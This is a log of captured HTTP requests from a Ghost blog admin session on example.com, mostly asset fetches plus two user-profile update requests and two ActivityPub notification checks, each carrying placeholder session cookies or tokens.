{"method": "GET", "target": "/ghost/assets/use-section-visibility-qAu_ZOpN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/availability-ZBcKUaLw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/notifications/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/users/6af4570fd281b00001a59891/?include=roles", "headers": ["Host: example.com", "Content-Length: 1308", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": "{\"users\":[{\"id\":\"6af4570fd281b00001a59891\",\"name\":\"Alice Example\",\"slug\":\"alice\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":null,\"website\":null,\"location\":null,\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"nightShift\\\":\\\"system\\\",\\\"onboarding\\\":{\\\"completedSteps\\\":[],\\\"checklistState\\\":\\\"started\\\",\\\"startedAt\\\":\\\"2026-11-11T11:54:12.758Z\\\"},\\\"navigation\\\":{\\\"expanded\\\":{\\\"posts\\\":true,\\\"members\\\":true},\\\"menu\\\":{\\\"visible\\\":true}}}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-11T11:54:12.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"roles\":[{\"id\":\"6af4570fd281b00001a59896\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:52:47.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
{"method": "GET", "target": "/ghost/api/admin/identities/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/.ghost/activitypub/v1/notifications/unread/count", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/activity+json", "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImhXOHdzSHVNYURNZV9nRTVsWHY5dmI1MHl0VWxfQzVxRlV0a1VGdTF2U3cifQ.eyJzdWIiOiJhbGljZUBleGFtcGxlLmNvbSIsInJvbGUiOiJPd25lciIsImlhdCI6MTc5NDM5ODA1MiwiZXhwIjoxNzk0Mzk4MzUyLCJpc3MiOiJodHRwOi8vZXhhbXBsZS5jb20vZ2hvc3QvIn0.RjbXlKtZ_TjYmfctDzYbqNb7NRlIgFi5vt7gc6CduPkNWzj1ZFO5bhwMdp_D-Bglj01RVoZq3KIEi5Ptb33MHVfulH-_KTtef0LUtKEot8iSDUBFjDsI4nD3RGANjkv-FTn3ig_hCYPbUOxtgB4PK7MjkhDDD-_xW41JyQ4xxNtkxKJaCFesD53mbK1y1IrlAFCbxOhHgKYsV3tUTHLZuER5rxYwWqwso7BtLtsu08vBzzhCsVXgfq2l6NB4SdW_XkkQUznze0nHtOuNEMBI3ASwN8E2pHxUUd2Lsw6oXNqtaBdpMKW-OpZKBvzJ47FvDjdx9If36UMcsvE5IxNvMg", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/onboarding-route-CTfF7IJD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/share-modal-D6_apZJH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/users/6af4570fd281b00001a59891/?include=roles", "headers": ["Host: example.com", "Content-Length: 1369", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": "{\"users\":[{\"id\":\"6af4570fd281b00001a59891\",\"name\":\"Alice Example\",\"slug\":\"alice\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":null,\"website\":null,\"location\":null,\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"whatsNew\\\":{\\\"lastSeenDate\\\":\\\"2026-11-11T11:54:12.800Z\\\"},\\\"nightShift\\\":\\\"system\\\",\\\"onboarding\\\":{\\\"completedSteps\\\":[],\\\"checklistState\\\":\\\"started\\\",\\\"startedAt\\\":\\\"2026-11-11T11:54:12.758Z\\\"},\\\"navigation\\\":{\\\"expanded\\\":{\\\"posts\\\":true,\\\"members\\\":true},\\\"menu\\\":{\\\"visible\\\":true}}}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-11T11:54:12.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"roles\":[{\"id\":\"6af4570fd281b00001a59896\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:52:47.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
{"method": "GET", "target": "/.ghost/activitypub/v1/notifications/unread/count/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/activity+json", "Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImhXOHdzSHVNYURNZV9nRTVsWHY5dmI1MHl0VWxfQzVxRlV0a1VGdTF2U3cifQ.eyJzdWIiOiJhbGljZUBleGFtcGxlLmNvbSIsInJvbGUiOiJPd25lciIsImlhdCI6MTc5NDM5ODA1MiwiZXhwIjoxNzk0Mzk4MzUyLCJpc3MiOiJodHRwOi8vZXhhbXBsZS5jb20vZ2hvc3QvIn0.RjbXlKtZ_TjYmfctDzYbqNb7NRlIgFi5vt7gc6CduPkNWzj1ZFO5bhwMdp_D-Bglj01RVoZq3KIEi5Ptb33MHVfulH-_KTtef0LUtKEot8iSDUBFjDsI4nD3RGANjkv-FTn3ig_hCYPbUOxtgB4PK7MjkhDDD-_xW41JyQ4xxNtkxKJaCFesD53mbK1y1IrlAFCbxOhHgKYsV3tUTHLZuER5rxYwWqwso7BtLtsu08vBzzhCsVXgfq2l6NB4SdW_XkkQUznze0nHtOuNEMBI3ASwN8E2pHxUUd2Lsw6oXNqtaBdpMKW-OpZKBvzJ47FvDjdx9If36UMcsvE5IxNvMg", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/logo-loader-dark-CuSPz-zc.mp4", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: identity", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY", "Range: bytes=0-"], "body": ""}
{"method": "GET", "target": "/ghost/assets/editor-screen-BQzGYHoq.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-limiter-BDyb24mL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/isPlainObject-B4wq7q-q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/luxon-D0MQDYL8.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/newsletters-Dc9dNenR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/automations-CHwWlIsj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/focus-koenig-editor-on-bottom-click-NfX8T9TL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/style-A57lkXV2.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-host-limits-DLFHO8IN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/box-CvaCx3xG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/grid-EKVMrdPt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-pintura-config-DDGo3qjQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/calendar-BqF8KY_y.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/checkbox-USP8gq7k.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/custom-fonts-CMD0ed16.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-BzashvGw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/lib-CmL7hMOQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/analytics-Cj7bTZhC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/images-CoVkxhed.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dropzone-nt_3dI2o.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/prop-types-B8rMafi5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/page-header-BZAQCX93.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/heading-XKAYjT0Z.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/select-De66Q0Np.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/preview-chrome-z36eH2v9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/radio-group-COYgs1Oh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/switch-08pTpI2l.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tabs-x_EBkQ-i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/textarea-9kkkItPg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/toggle-group-CbBD6ECj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/images-CClFWRrp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/member-format-DrcVrnM2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
